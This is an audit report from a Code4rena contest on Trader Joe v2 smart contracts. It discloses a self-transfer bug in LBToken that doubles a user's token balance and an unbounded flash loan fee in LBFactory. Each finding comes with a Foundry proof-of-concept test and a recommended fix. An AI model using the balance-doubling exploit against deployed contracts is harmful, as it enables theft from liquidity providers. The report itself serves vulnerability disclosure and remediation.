Trader Joe v2 contest - Dravee's results

Lines of code

https://github.com/code-423n4/2022-10-traderjoe/blob/79f25d48b907f9d0379dd803fc2abc9c5f57db93/src/LBToken.sol#L182 https://github.com/code-423n4/2022-10-traderjoe/blob/79f25d48b907f9d0379dd803fc2abc9c5f57db93/src/LBToken.sol#L187 https://github.com/code-423n4/2022-10-traderjoe/blob/79f25d48b907f9d0379dd803fc2abc9c5f57db93/src/LBToken.sol#L189-L192

Vulnerability details

Impact

Using temporary variables to update balances is a dangerous construction that has led to several hacks in the past. Here, we can see that _toBalance can overwrite _fromBalance:

File: LBToken.sol
176:     function _transfer(
177:         address _from,
178:         address _to,
179:         uint256 _id,
180:         uint256 _amount
181:     ) internal virtual {
182:         uint256 _fromBalance = _balances[_id][_from];
...
187:         uint256 _toBalance = _balances[_id][_to];
188: 
189:         unchecked {
190:             _balances[_id][_from] = _fromBalance - _amount;
191:             _balances[_id][_to] = _toBalance + _amount; //@audit : if _from == _to : rekt
192:         }
..
196:     }

Furthermore, the safeTransferFrom function has the checkApproval modifier which passes without any limit if _owner == _spender :

File: LBToken.sol
32:     modifier checkApproval(address _from, address _spender) {
33:         if (!_isApprovedForAll(_from, _spender)) revert LBToken__SpenderNotApproved(_from, _spender);
34:         _;
35:     }
...
131:     function safeTransferFrom(
...
136:     ) public virtual override checkAddresses(_from, _to) checkApproval(_from, msg.sender) {
...
269:     function _isApprovedForAll(address _owner, address _spender) internal view virtual returns (bool) {
270:         return _owner == _spender || _spenderApprovals[_owner][_spender];
271:     }

Proof of Concept

Add the following test to LBToken.t.sol (run it with forge test --match-path test/LBToken.t.sol --match-test testSafeTransferFromOneself -vvvv):

    function testSafeTransferFromOneself() public {
        uint256 amountIn = 1e18;

        (uint256[] memory _ids, , , ) = addLiquidity(amountIn, ID_ONE, 5, 0);

        uint256 initialBalance = pair.balanceOf(DEV, _ids[0]);

        assertEq(initialBalance, 333333333333333333); // using hardcoded value to ease understanding

        pair.safeTransferFrom(DEV, DEV, _ids[0], initialBalance); //transfering to oneself
        uint256 rektBalance1 = pair.balanceOf(DEV, _ids[0]); //computing new balance
        assertEq(rektBalance1, 2 * initialBalance); // the new balance is twice the initial one
        assertEq(rektBalance1, 666666666666666666); // using hardcoded value to ease understanding
    }

As we can see here, this test checks that transfering all your funds to yourself doubles your balance, and it's passing. This can be repeated again and again to increase your balance.

Recommended Mitigation Steps

• Add checks to make sure that _from != _to because that shouldn't be useful anyway
• Prefer the following:

File: LBToken.sol
189:         unchecked {
190:             _balances[_id][_from] -= _amount;
191:             _balances[_id][_to] += _amount;
192:         }

Lines of code

https://github.com/code-423n4/2022-10-traderjoe/blob/79f25d48b907f9d0379dd803fc2abc9c5f57db93/src/LBFactory.sol#L474-L481

Vulnerability details

Impact

Flashloan fees are unbounded and could even be above 100% as uint _flashLoanFee is of type uint256:

File: LBFactory.sol
474:     function setFlashLoanFee(uint256 _flashLoanFee) external override onlyOwner {
475:         uint256 _oldFlashLoanFee = flashLoanFee;
476: 
477:         if (_oldFlashLoanFee == _flashLoanFee) revert LBFactory__SameFlashLoanFee(_flashLoanFee);
478: 
479:         flashLoanFee = _flashLoanFee;
480:         emit FlashLoanFeeSet(_oldFlashLoanFee, _flashLoanFee);
481:     }

This leads to a trust issue / rug vector / potential misuse of this functionality.

Proof of Concept

Edit LBFactory.t.sol#testForSettingFlashloanFee like below and run it with forge test --match-test testForSettingFlashloanFee. It will pass, meaning any value is OK:

File: LBFactory.t.sol
- 394:     function testForSettingFlashloanFee() public {
+ 394:     function testForSettingFlashloanFee(uint256 flashFee) public {
- 395:         uint256 flashFee = 7e14;
396:         factory.setFlashLoanFee(flashFee);
397:         assertEq(factory.flashLoanFee(), flashFee);
398:         vm.expectRevert(abi.encodeWithSelector(LBFactory__SameFlashLoanFee.selector, flashFee));
399:         factory.setFlashLoanFee(flashFee);
400:     }

Recommended Mitigation Steps

Consider adding an upper bound (maybe even a lower bound) or using a smaller unsigned_integer type for _flashLoanFee